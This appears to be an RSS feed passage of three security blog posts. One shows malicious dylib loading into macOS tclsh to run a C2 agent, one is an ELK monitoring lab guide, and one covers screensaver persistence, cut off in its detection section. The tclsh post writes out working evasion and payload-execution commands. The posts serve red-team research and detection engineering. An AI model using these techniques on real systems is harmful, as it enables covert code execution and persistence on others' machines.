href="https://medium.com/@D00MFist/how-to-quickly-setup-an-elk-stack-and-elastic-agent-to-monitor-macos-event-data-da2469e6bb7">https://medium.com/@D00MFist/how-to-quickly-setup-an-elk-stack-and-elastic-agent-to-monitor-macos-event-data-da2469e6bb7</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c99ed48f323d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Dylib Loads that Tickle your Fancy]]></title>
            <link>https://medium.com/specter-ops-posts/dylib-loads-that-tickle-your-fancy-d25196addd8c?source=rss-c1f5c2dadf0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/d25196addd8c</guid>
            <category><![CDATA[macos]]></category>
            <category><![CDATA[tcl]]></category>
            <category><![CDATA[detection]]></category>
            <dc:creator><![CDATA[Leo Pitt]]></dc:creator>
            <pubDate>Wed, 16 Feb 2022 16:47:24 GMT</pubDate>
            <atom:updated>2022-02-16T16:51:01.137Z</atom:updated>
            <content:encoded><![CDATA[<p>Loading malicious dylibs into the Tclsh binary</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*P0LxmO46yLaD3Ct5XwZ4ag.png" /></figure><h3>Background</h3><p>As detection of osascript command-line executions has increased, I started looking more into alternative forms of payload execution. As a result of this research, I found a way to execute payloads within the platform binary tclsh.</p><p>Tclsh is a shell-like application that reads Tcl commands from its standard input or from a file and evaluates them. <a href="https://www.tcl.tk/about/language.html">Tcl</a> (pronounced “tickle” or as an initialism) is a high-level programming language. Tcl casts everything into the mold of a command, even programming constructs like variable assignments and procedure definitions. Created in 1988, developers used Tcl to create GUIs (Graphical User Interfaces)s and automate basic tasks. Since Mac OS X 10.4 Tiger (perhaps earlier) included tclsh by default. It is still a default installation as of macOS 12 Monterey, making it an ideal candidate for payload execution.</p><p>Using the codesign binary, I dug further and saw that tclsh is actually running the tclsh8.5 executable, which possesses the com.apple.security.cs.disable-library-validation entitlement. This entitlement indicates whether an application can load arbitrary libraries without requiring code-signing. Thus, making it a great candidate for loading our dylib (dynamic library).</p><pre>itsatrap@HomeOne ~ % codesign -d /usr/bin/tclsh<br>Executable=/System/Library/Frameworks/Tcl.framework/Versions/8.5/tclsh8.5<br>---</pre><pre>itsatrap@HomeOne ~ % codesign -d --entitlements - /System/Library/Frameworks/Tcl.framework/Versions/8.5/tclsh8.5<br>Executable=/System/Library/Frameworks/Tcl.framework/Versions/8.5/tclsh8.5<br>[Dict]<br>        [Key] com.apple.security.cs.disable-library-validation<br>        [Value]<br>                 [Bool] true<br>        [Key] com.apple.security.cs.allow-unsigned-executable-memory<br>        [Value]<br>                 [Bool] true</pre><p>There is a great reference for Tcl commands at the Tcler’s <a href="https://wiki.tcl-lang.org/welcome">Wiki</a>. Digging into the options, I noted that there is a <a href="https://wiki.tcl-lang.org/page/load">load</a> command to simply load libraries. To test this out I used a simple dylib from <a href="https://theevilbit.github.io/">Csaba Fitzl</a>.</p><pre>itsatrap@HomeOne ~ % cat test.c<br>#include &lt;stdio.h&gt;<br>#include &lt;syslog.h&gt;</pre><pre>__attribute__((constructor))<br>static void customConstructor(int argc, const char **argv)<br>{<br>printf(&quot;Hello from dylib!\n&quot;);<br>syslog(LOG_ERR, &quot;Dylib injection successful in %s\n&quot;, argv[0]);<br>}</pre><p>Compile the dylib and create a .tcl file with the load command.</p><pre>itsatrap@HomeOne ~ % gcc -dynamiclib hello.c -o hello.dylib</pre><pre>itsatrap@HomeOne ~ % cat hello.tcl<br>load /Users/itsatrap/hello.dylib</pre><p>Run the .tcl file with tclsh.</p><pre>itsatrap@HomeOne ~ % tclsh hello.tcl<br>Hello from dylib!<br>dlsym(0x205c013e0, Hello_Init): symbol not founddlsym(0x205c013e0, Hello_SafeInit): symbol not founddlsym(0x205c013e0, Hello_Unload): symbol not founddlsym(0x205c013e0, Hello_SafeUnload): symbol not foundcouldn&#39;t find procedure Hello_Init<br>    while executing<br>&quot;load /Users/itsatrap/hello.dylib &quot;<br>    (file &quot;hello.tcl&quot; line 1)</pre><p>We get the Hello from dylib! message but also the symbol error. Luckily, the <a href="https://wiki.tcl-lang.org/page/dlopen+extension">dlopen</a> extension addresses this (Thanks, Clif Flynt!). The dlopen extension allows loading libraries that do not contain a XX_Init entry point on Posix or Windows platforms.</p><h3>Usage</h3><h4>Setup</h4><p>First, we need to compile the dlopen extension. Then we can create the .tcl file with the load command to the dlopen dylib, followed by a dlopen command with our malicious dylib.</p><pre>itsatrap@HomeOne ~ % gcc -dynamiclib -o dlopen.dylib dlopen.c -framework Tcl -framework Tk</pre><pre>itsatrap@HomeOne ~ % cat helloload.tcl<br>load /Users/itsatrap/dlopen.dylib<br>dlopen /Users/itsatrap/hello.dylib</pre><p>Run the .tcl file with tclsh.</p><pre>itsatrap@HomeOne ~ % tclsh helloload.tcl<br>Hello from dylib!</pre><p>We get our execution!</p><h4>Executing an Apfell payload with tclsh</h4><p>To weaponize execution, we can leverage Chris Ross’ <a href="https://github.com/xorrior/macOSTools/tree/7f03f7fd9e4dcbf48371b5f1ff6431a36eaf0e0b/script_runners/JXADylib">JSRunner</a> to create our <a href="https://github.com/MythicAgents/apfell">Apfell</a> dylib. Then we can create the tcl file with the load command to the dlopen dylib, followed by a dlopen command with our malicious dylib.</p><pre>itsatrap@HomeOne ~ % g++ -dynamiclib -o /Users/itsatrap/apfell.dylib  -framework Foundation -framework OSAKit ~/JXADylib_Runner/plugin.cpp ~/JXADylib_Runner/jsrunner.mm</pre><pre>itsatrap@HomeOne ~ % cat apfell.tcl<br>while True {<br>load /Users/itsatrap/dlopen.dylib<br>dlopen /Users/itsatrap/apfell.dylib<br>after 10000<br>}</pre><p>Run the .tcl file with tclsh</p><pre>itsatrap@HomeOne ~ % tclsh apfell.tcl &amp;<br>[1] 10960</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*00ekmWU8EYu5GZduHCPwDQ.png" /><figcaption>Apfell Agent running in the tclsh8.5 process PID 10960</figcaption></figure><p>Execution! What’s great is that within tcl you can use the exec command to run other programs. For example, we could use tcl to make <a href="https://gist.github.com/D00MFist/c01af0c81987319a93dba76aacca7a0b">curl</a> requests to download those dylibs to limit the number of files we need to get to the target initially, as well as not be subject to the com.apple.quarantine file attribute. If we take it further we can use the tcl packages http and tls to perform the downloads without spawning additional processes. I have an example execution template <a href="https://gist.github.com/D00MFist/c9dfcb5a2b04cc20945f5f1e08ccdc88">here</a>. (I have also included these as build options in my <a href="https://github.com/D00MFist/Mystikal">Mystikal</a> project).</p><h3>Detection</h3><p>I leveraged the Elastic Agent, which I have on my macOS 11 Big Sur endpoint, which forwards events to my Elastic Stack (Elasticsearch, Logstash, Kibana) to follow the execution artifacts. I recently did a <a href="https://medium.com/@D00MFist/how-to-quickly-setup-an-elk-stack-and-elastic-agent-to-monitor-macos-event-data-da2469e6bb7">post</a> on setting this up in a lab environment.</p><h4>Indicators:</h4><ul><li><strong>Process execution events with command line arguments for </strong><strong>tclsh &lt;filename&gt;</strong>. Although this is a platform binary, its practical use is not prevalent, so establishing a usage baseline in an environment is helpful.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CNOQjHVpbiCg92_Ko304-w.png" /><figcaption>Process execution of the apfell payload PID 10960</figcaption></figure><p><strong>Note:</strong> The file does not need the tcl extension. One could get execution through tclsh apfell.txt, for example.</p><ul><li><strong>Network connection events that originate from </strong><strong>tclsh8.5</strong>. These events are likely abnormal. As stated before, the widespread usage of tclsh is limited, and the few instances in which it makes network connections are even further uncommon.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tw-flpYsQVlQoqf2DoXewQ.png" /><figcaption>Numerous network events as a result of our Apfell communication PID 10960</figcaption></figure><p><strong>Note:</strong> By default, the http package has a User-agent string of Tcl http client package 2.7.5. One can easily modify this by using the ::http::config<strong> </strong>-useragent option.</p><ul><li><strong>Dylib loads into the </strong><strong>tclsh8.5 binary.</strong> However, it is worth noting that commercial tools tend to be limited in their ability to provide insight into these events, especially on Big Sur+.</li></ul><h3>Conclusion</h3><p>This post aimed to display arbitrary dylib loading into the tclsh binary. More importantly, I hope that the detection indicators shown can be a starting point for those developing detections for this execution. If you encounter any additional indicators that this execution method creates that are unmentioned above, please let me know.</p><h3>References / Resources:</h3><ul><li><a href="https://www.tcl.tk/about/language.html">https://www.tcl.tk/about/language.html</a></li><li><a href="https://wiki.tcl-lang.org/page/load">https://wiki.tcl-lang.org/page/load</a></li><li><a href="https://wiki.tcl-lang.org/page/dlopen+extension">https://wiki.tcl-lang.org/page/dlopen+extension</a></li><li><a href="https://github.com/xorrior/macOSTools/tree/7f03f7fd9e4dcbf48371b5f1ff6431a36eaf0e0b/script_runners/JXADylib">https://github.com/xorrior/macOSTools/tree/7f03f7fd9e4dcbf48371b5f1ff6431a36eaf0e0b/script_runners/JXADylib</a></li><li><a href="https://null-byte.wonderhowto.com/how-to/hacking-macos-use-one-tclsh-command-bypass-antivirus-protections-0186330/">https://null-byte.wonderhowto.com/how-to/hacking-macos-use-one-tclsh-command-bypass-antivirus-protections-0186330/</a></li><li><a href="https://en.wikipedia.org/wiki/Tcl">https://en.wikipedia.org/wiki/Tcl</a></li><li><a href="https://stackoverflow.com/questions/4606579/problem-requesting-a-https-with-tcl">https://stackoverflow.com/questions/4606579/problem-requesting-a-https-with-tcl</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d25196addd8c" width="1" height="1" alt=""><hr><p><a href="https://medium.com/specter-ops-posts/dylib-loads-that-tickle-your-fancy-d25196addd8c">Dylib Loads that Tickle your Fancy</a> was originally published in <a href="https://medium.com/specter-ops-posts">Posts By SpecterOps Team Members</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Quickly Setup an ELK Stack and Elastic Agent to Monitor macOS Event Data]]></title>
            <link>https://medium.com/@D00MFist/how-to-quickly-setup-an-elk-stack-and-elastic-agent-to-monitor-macos-event-data-da2469e6bb7?source=rss-c1f5c2dadf0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/da2469e6bb7</guid>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[elasticsearch]]></category>
            <category><![CDATA[elk-stack]]></category>
            <category><![CDATA[detection]]></category>
            <category><![CDATA[macos]]></category>
            <dc:creator><![CDATA[Leo Pitt]]></dc:creator>
            <pubDate>Fri, 03 Dec 2021 04:06:05 GMT</pubDate>
            <atom:updated>2021-12-03T04:06:05.368Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>This article serves as a simple walkthrough on setting up a lab to view macOS event data. This lab consists of the following components:</p><ul><li>ELK (Elasticsearch, Logstash, Kibana) stack</li><li>Elastic Agent</li></ul><h4>Component Overview</h4><blockquote>“ELK” is the acronym for three open source projects: Elasticsearch, Logstash, and Kibana. Elasticsearch is a search and analytics engine. Logstash is a server‑side data processing pipeline that ingests data from multiple sources simultaneously, transforms it, and then sends it to a “stash” like Elasticsearch. Kibana lets users visualize data with charts and graphs in Elasticsearch.</blockquote><blockquote>The Elastic Agent is a single, unified agent that you can deploy to hosts or containers to collect data and send it to the Elastic Stack.</blockquote><p>The Elastic Agent provides a reliable method to ingest macOS event data and leverages some of <a href="https://developer.apple.com/documentation/endpointsecurity">Apple’s Endpoint Security Framework</a> (ESF) events.</p><p>Antonio Piazza recently published an <a href="https://antman1p-30185.medium.com/acting-red-seeing-blue-b04dd845c3dc">article</a> about setting up a lab environment leveraging <a href="https://github.com/Cyb3rWard0g/HELK">HELK</a>, <a href="https://bitbucket.org/xorrior/appmon/src/master/">Appmon</a>, and <a href="https://www.elastic.co/beats/filebeat">Filebeat</a>. Cedric Owens also did a <a href="https://cedowens.medium.com/helking-your-macos-red-team-tools-for-detections-b16d3a8b8807">post</a> that builds upon Antonio’s to automate that lab deployment. Please refer to those posts if they suit your test case.</p><h3><strong>Walkthrough</strong></h3><p><strong>1.</strong> Pull down my <a href="https://github.com/D00MFist/docker-elk">fork</a> of the docker-elk repo.</p><p>The items I changed from the parent <a href="https://github.com/deviantony/docker-elk">repo</a> are:</p><ul><li>Adding X-Pack security to the Elasticsearch config:</li></ul><pre>xpack.security.authc.api_key.enabled: true</pre><ul><li>Adding X-Pack security to the Kibana config:</li></ul><pre>xpack.security.encryptionKey: “something_at_least_32_characters”<br>xpack.encryptedSavedObjects.encryptionKey:“something_at_least_32_characters”</pre><ul><li>Adding X-Pack security and Elasticsearch IP to Logstash config:</li></ul><pre>xpack.monitoring.elasticsearch.hosts: [ “http://127.0.0.1:9200&quot; ]<br>xpack.monitoring.elasticsearch.url: <a href="http://127.0.0.1:9200/">http://127.0.0.1:9200</a></pre><p><strong>Note:</strong> This build uses X-Pack with paid features which kicks off a 30-day trial period. You can view this under Stack Management-&gt; License Management in Kibana.</p><p><strong>2.</strong> Go into the docker-elk folder (on a Ubuntu Server for this walkthrough) and start the ELK stack:</p><pre>cd docker-elk/<br>sudo docker-compose up</pre><p><strong>3. </strong>Get the Elastic Agent (on a Big Sur host for this walkthrough):</p><p>Download the Elastic <a href="https://www.elastic.co/downloads/elastic-agent">Agent</a>. I’ve copied the unzipped folder to the ~/Documents directory in this walkthrough.</p><p><strong>4. </strong>Setup the ELK Server:</p><p>Go back to the ELK server and log into Kibanahttp://ELKserverIP:5601/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l_D4p_HRThdImORkFVZpEg.png" /><figcaption>Kibana Login Page</figcaption></figure><p>The default credentials are elastic/changeme. Click Explore on my own.Click the “Hamburger Menu” on the left. Go to Management-&gt;Fleet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*mSazOvM924b8qo7j-VLQYA.png" /><figcaption>Fleet Menu under Management</figcaption></figure><p><strong>Note:</strong> The first time you visit this page, it may take a few minutes to load.</p><p>Keep the Default Fleet Server policy and select Quick start under Step #3</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rW9xWe-wWntL7KL4-dkZHg.png" /><figcaption>Quick start option on ELK Server</figcaption></figure><p>Add the Fleet Server Host (i.e., the ELK server IP Address). In my case, this is http://172.16.113.10:8220.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VigFmpDz8rr3ZRZnWyklMg.png" /><figcaption>Adding the Fleet Server Host</figcaption></figure><p>Hit the Add host button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q2DfjIs860Y710GDk_0qIg.png" /><figcaption>Confirmation Fleet Server host added</figcaption></figure><p>Next, go to Step #5 and hit the Generate service token button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZLmQYn_ryt614ghtrBH8Vg.png" /><figcaption>Generate Service Token button</figcaption></figure><p>On Step #6, start the Fleet Server. Keep the Platform option on Linux/macOS and copy the command generated. Take the copied command to your macOS endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OKbsz3ajd1sw29GiX5y7aw.png" /><figcaption>Command to start the Elastic Agent on macOS endpoint</figcaption></figure><p><strong>5.</strong> Setup the Elastic Agent on macOS endpoint:</p><p>Go to the directory in which you saved the Elastic Agent. In this walkthrough, that is under ~/Documents. Paste the copied command in the Terminal. Make sure the fleet-server-es flag has the correct value. <strong>Note:</strong> Change from localhost to the ELKserverIP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sypBkxnXh_sI9ihcXmuzIg.png" /><figcaption>Elastic Agent start command</figcaption></figure><p>The following message will appear, indicating that you correctly installed the Elastic Agent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*YP8XrUl5pPSBOd4IPzkCIA.png" /><figcaption>Elastic Agent Success message</figcaption></figure><p>Go back to Kibana, and it should state Fleet Server connected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*YnJ-q9y7WDCqjBS4PaJPeA.png" /><figcaption>Fleet Server Successfully Connected</figcaption></figure><p>Next, we need to check that data is correctly ingested into Elasticsearch from our Elastic Agent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*InbMdTS1gmGYNgBTnm3hZg.png" /><figcaption>Fleet Overview Page</figcaption></figure><p>You can do this by navigating to the Data Streams tab. You should see this area populated with endpoint data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JaQWuIyeesHxnfV3HBnwjw.png" /><figcaption>No endpoint data under Data Streams</figcaption></figure><p>If there is no data here, check your fleet settings by clicking the settings cog in the top right corner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*fSQ3Wjt6P4tlzh4CDFy00w.png" /><figcaption>Fleet Settings cog</figcaption></figure><p>Ensure that your Elasticsearch settings are correctly set to the correct IP and not set to localhost.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z5oVBg_GRf6-AqUPrQaAGg.png" /><figcaption>Elasticsearch hosts field incorrectly shows localhost</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fl5jZpvGkkTddVDXZOmdRw.png" /><figcaption>Confirm the IP change</figcaption></figure><p><strong>6.</strong> Add Endpoint Security:</p><p>In Kibana, go to Security-&gt; Endpoints</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*uXW2BzuJ5gHeJcyjg8TNnQ.png" /><figcaption>Endpoints Menu</figcaption></figure><p>Click Add Endpoint Security button</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J6g9k7dbQVuXXoWxOg9WJA.png" /><figcaption>Start Adding Endpoint Security</figcaption></figure><p>Start configuring the Endpoint Security Integration. Name the Integration whatever you want (e.g., secure). Select Default Fleet Server policy -&gt; Save Integration -&gt; Save and Deploy Changes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8hjC15ox7_6m3KvNEZf8hA.png" /><figcaption>Endpoint Security Integration Name and Agent Policy</figcaption></figure><p>Next, we enroll the Elastic Agent with Endpoint Security.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9AKJPwi5uWxs4-qBVstr-Q.png" /><figcaption>Enroll Agent with created Integration</figcaption></figure><p><strong>7.</strong> Allow extensions on Big Sur host:</p><p>After enrolling the Elastic Agent, you should see the System Extension Blocked prompt. Click Open Security Preferences or System Preferences-&gt;Security &amp; Privacy-&gt;General.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*XJ8FYGogn_pqrIMC_fwRjw.png" /><figcaption>Extension Security Prompt</figcaption></figure><p>Under the General tab, allow the ElasticEndpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KAm52hIXjSvvqZZhj5fPMA.png" /><figcaption>General tab under Security &amp; Privacy</figcaption></figure><p>After clicking Allow, you will likely get a network prompt which you will allow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*mX0w94d9HE2Ius2YvMyoHA.png" /><figcaption>Network Security Prompt</figcaption></figure><p>Next, we must provide Full Disk Access to the co.elastic.systemextension extension and elastic-endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qHdfbBhmPttlmQTQIYCynA.png" /><figcaption>Grant Full Disk Access to Elastic Endpoint and System Extension</figcaption></figure><p><strong>8.</strong> View the event data and test alerts:</p><p>Go back to Kibana, Management-&gt;Fleet-&gt;Data Streams, you should now see endpoint.events.process &amp; endpoint.events.file datasets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YZ8CK5qUoxVhFQUc86n-lg.png" /><figcaption>Data Streams Correctly Ingesting</figcaption></figure><p>Go to the Analytics-&gt;Discover tab and under logs*, and you should see events.</p><p><strong>Note:</strong> Some key fields to pay attention to: process.command.line, file.name, event.type, event.category, event.action.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GgESdsO-vheUG-9aEui76w.png" /><figcaption>Logs from the Big Sur host</figcaption></figure><p>Add prebuilt alerts. Security -&gt;Rules-&gt;Load Elastic prebuilt rules and timeline templates.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W2E3ZpKhAxkaECBlnd3q-Q.png" /><figcaption>Load Prebuilt Rules</figcaption></figure><p>Next, go to macOS tags, and select which alerts to turn on. In this walkthrough, I turn on Sublime Plugin or Application Script Modification.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sE-OjJly1MMiZSP1TUfGZQ.png" /><figcaption>Activating Sublime Persistence Alert</figcaption></figure><p>To trigger the alert, I modify the persistence <a href="https://github.com/D00MFist/PersistentJXA/blob/master/SublimeTextAppScriptPersistence.js">script</a> by adding SublimeTextAppScriptPersistence(‘echo “hellosublime” &gt;&gt; /tmp/hellosublime’) to the end and execute it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GcmDNvglHGx3-d9pMvHEhw.png" /><figcaption>Installing Sublime Persistence</figcaption></figure><p>Go to Security-&gt;Alerts tab to see the alert populate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qdaG1mtyT2CaixS74QuoFg.png" /><figcaption>Alerts Overview</figcaption></figure><p>On this page, you can analyze the event by clicking the ellipsis button under the Actions section and go to Analyze event.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*KN1rYPqPeXlXz5lvMob3Eg.png" /><figcaption>Analyzing the alert</figcaption></figure><p>The graphical process execution flow is a helpful feature.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eOgsEx_uNHZEixGi9IyCgQ.png" /><figcaption>Processes leading to the osascript execution</figcaption></figure><p>Now that everything is coming in, you can use the Discover tab to start making custom queries and then go to Security-&gt;Rules to make your own alerts. David French has a <a href="https://twitter.com/threatpunter/status/1459937844575670273">thread</a> that demonstrates leveraging custom alerts.</p><p>I hope this guide helps!</p><h3>References / Resources:</h3><ul><li><a href="https://newtonpaul.com/how-to-install-elastic-siem-and-elastic-edr/">https://newtonpaul.com/how-to-install-elastic-siem-and-elastic-edr/</a></li><li><a href="https://developer.apple.com/documentation/endpointsecurity">https://developer.apple.com/documentation/endpointsecurity</a></li><li><a href="https://antman1p-30185.medium.com/acting-red-seeing-blue-b04dd845c3dc">https://antman1p-30185.medium.com/acting-red-seeing-blue-b04dd845c3dc</a></li><li><a href="https://github.com/Cyb3rWard0g/HELK">https://github.com/Cyb3rWard0g/HELK</a></li><li><a href="https://bitbucket.org/xorrior/appmon/src/master/">https://bitbucket.org/xorrior/appmon/src/master/</a></li><li><a href="https://www.elastic.co/beats/filebeat">https://www.elastic.co/beats/filebeat</a></li><li><a href="https://cedowens.medium.com/helking-your-macos-red-team-tools-for-detections-b16d3a8b8807">https://cedowens.medium.com/helking-your-macos-red-team-tools-for-detections-b16d3a8b8807</a></li><li><a href="https://github.com/D00MFist/docker-elk">https://github.com/D00MFist/docker-elk</a></li><li><a href="https://github.com/deviantony/docker-elk">https://github.com/deviantony/docker-elk</a></li><li><a href="https://www.elastic.co/downloads/elastic-agent">https://www.elastic.co/downloads/elastic-agent</a></li><li><a href="https://github.com/D00MFist/PersistentJXA/blob/master/SublimeTextAppScriptPersistence.js">https://github.com/D00MFist/PersistentJXA/blob/master/SublimeTextAppScriptPersistence.js</a></li><li><a href="https://twitter.com/threatpunter/status/1459937844575670273">https://twitter.com/threatpunter/status/1459937844575670273</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=da2469e6bb7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Saving Your Access]]></title>
            <link>https://medium.com/specter-ops-posts/saving-your-access-d562bf5bf90b?source=rss-c1f5c2dadf0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/d562bf5bf90b</guid>
            <category><![CDATA[macos]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[detection]]></category>
            <category><![CDATA[persistence]]></category>
            <dc:creator><![CDATA[Leo Pitt]]></dc:creator>
            <pubDate>Thu, 27 May 2021 14:25:03 GMT</pubDate>
            <atom:updated>2021-05-27T14:25:03.633Z</atom:updated>
            <content:encoded><![CDATA[<p>Screensavers for macOS Persistence</p><h3>Background</h3><p>After revisiting old internal discussions, an area of interest was the possibility of using screensavers for persistence on macOS. This is an established persistence method on Windows, as noted on the MITRE ATT&amp;CK <a href="https://attack.mitre.org/techniques/T1546/002/">page</a>.</p><p>On Windows, screensavers execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension. On macOS, these are Mach-O executables that are saved within application bundles with the .saver extension. After taking a closer look, these can be abused for persistence in a similar fashion as on Windows.</p><p>Like my <a href="https://posts.specterops.io/are-you-docking-kidding-me-9aa79c24bdc1">Dock</a> persistence method, this technique relies on the ability end-users have to modify a property list (plist). Plists are the macOS equivalent of the Windows registry. By changing the values in the screensaver plist (~/Library/Preferences/ByHost/com.apple.screensaver.[Hardware-UUID].plist), an adversary can set a new screensaver and set configuration options such as the user inactivity time. The culmination of this research is <a href="https://github.com/D00MFist/PersistentJXA/blob/master/ScreenSaverPersist.js">ScreenSaverPersist.js</a>, which I have included in the<a href="https://github.com/D00MFist/PersistentJXA"> PersistentJXA</a> project.</p><h3>Usage</h3><h4>Setup</h4><p>Developing a screensaver is relatively straightforward as Xcode provides a template in Objective-C. Since this is Objective-C code, we can add a constructor that will be invoked once the screensaver is loaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2uzkIeoDl3t-bNMQWpm1Og.png" /><figcaption>Constructor executed on load</figcaption></figure><p>This persistence method requires the malicious .saver to be uploaded to the target. We can simply use the upload feature within the <a href="https://github.com/its-a-feature/Mythic/blob/master/documentation-docker/content/Agents/apfell/_index.md">Apfell</a> agent to save this on disk. There are three folders in which screensaver files are loaded from/System/Library/Screen Savers/ , Library/Screen Savers/ , and~/Library/Screen Savers/. These folders are for the default screensavers that ship with macOS (SIP protected folder), system-wide screensavers (all users and requires root), and screensavers for the current user, respectively.</p><p>Saving to the last two folders occurs when installing a screensaver through the graphical user interface (GUI).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tpmQTcwAeEkrX5pTn7hDoQ.png" /><figcaption>Installing screensaver through GUI (double-clicking .saver)</figcaption></figure><p>The implementation within <a href="https://github.com/D00MFist/PersistentJXA/blob/master/ScreenSaverPersist.js">ScreenSaverPersist.js</a> assumes that the screensaver has been saved to ~/Library/Screen Savers/.</p><p>In the following example Blank.saver is a simple screensaver that will present a black screen to the end-user and execute our persistence. Since Blank.saver is a <a href="https://developer.apple.com/library/archive/documentation/CoreFoundation/Conceptual/CFBundles/AboutBundles/AboutBundles.html">bundle</a> (collection of files), I zip it up first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tc1TajDJx33uNvXSHRkZFw.png" /><figcaption>Uploaded Blank.saver to ~/Library/Screen Savers/</figcaption></figure><p>I then simply unzip the file and remove the zip archive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PqpOPQEP521Nfe1ra0MaYQ.png" /><figcaption>Unzipping the Blank.saver and removing the archive</figcaption></figure><h4>Invoke Persistence</h4><p>Now with the malicious screensaver saved to ~/Library/Screen Savers/, we invoke persistence. To do so, we import the script into the Apfell agent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*vNUiBm2X0dDZdvjyIB7FLw.png" /><figcaption>Imported script into Apfell agent within Mythic</figcaption></figure><p>Before calling the function, I want to bring attention to what this looks like from the GUI perspective. Below is the view from system preferences before invoking persistence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ET1BvqhwSnXt2bHqXmWsMA.png" /><figcaption>The Flurry screensaver is set to start after 20 minutes before invoking persistence</figcaption></figure><p>Next, we call the ScreenSaverPersist function. This function accepts the argument of the screensaver name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GEUAAiZzkKz1vWjTAJsSTg.png" /><figcaption>Call the ScreenSaverPersist function in the Apfell agent specifying Blank.saver</figcaption></figure><p>After running the function, if we go back to the system preferences pane, you’ll notice that the active screen saver changed to Blank, and the time changed from 20 minutes to 1 minute.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V1yWd7WH2dOGtxZC-KrFgg.png" /><figcaption>The Blank screensaver is set to start after 1 minute after invoking persistence</figcaption></figure><p><strong>Note:</strong> You can manually trigger the screensaver by running /System/Library/CoreServices/ScreenSaverEngine.app/Contents/MacOS/ScreenSaverEngine</p><h3>Detection</h3><p><a href="https://github.com/SuprHackerSteve/Crescendo">Crescendo</a> is a real-time event viewer for macOS, which leverages Apple’s <a href="https://developer.apple.com/documentation/endpointsecurity">Endpoint Security Framework</a> (ESF) and helps capture process and file events. Using Crescendo, I can trace the persistence execution flow.</p><p>To start, PID 2751 was my initial access process of osascript.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yw5cuKY5JtHJ9GUkKNc2Aw.png" /><figcaption>Apfell agent from Mythic running in the osascript PID 2751</figcaption></figure><p>Depending on the frequency in which screensavers are installed on a host, file modifications to the /System/Library/Screen Savers/ , Library/Screen Savers/ , and~/Library/Screen Savers/ directories can be a starting point for 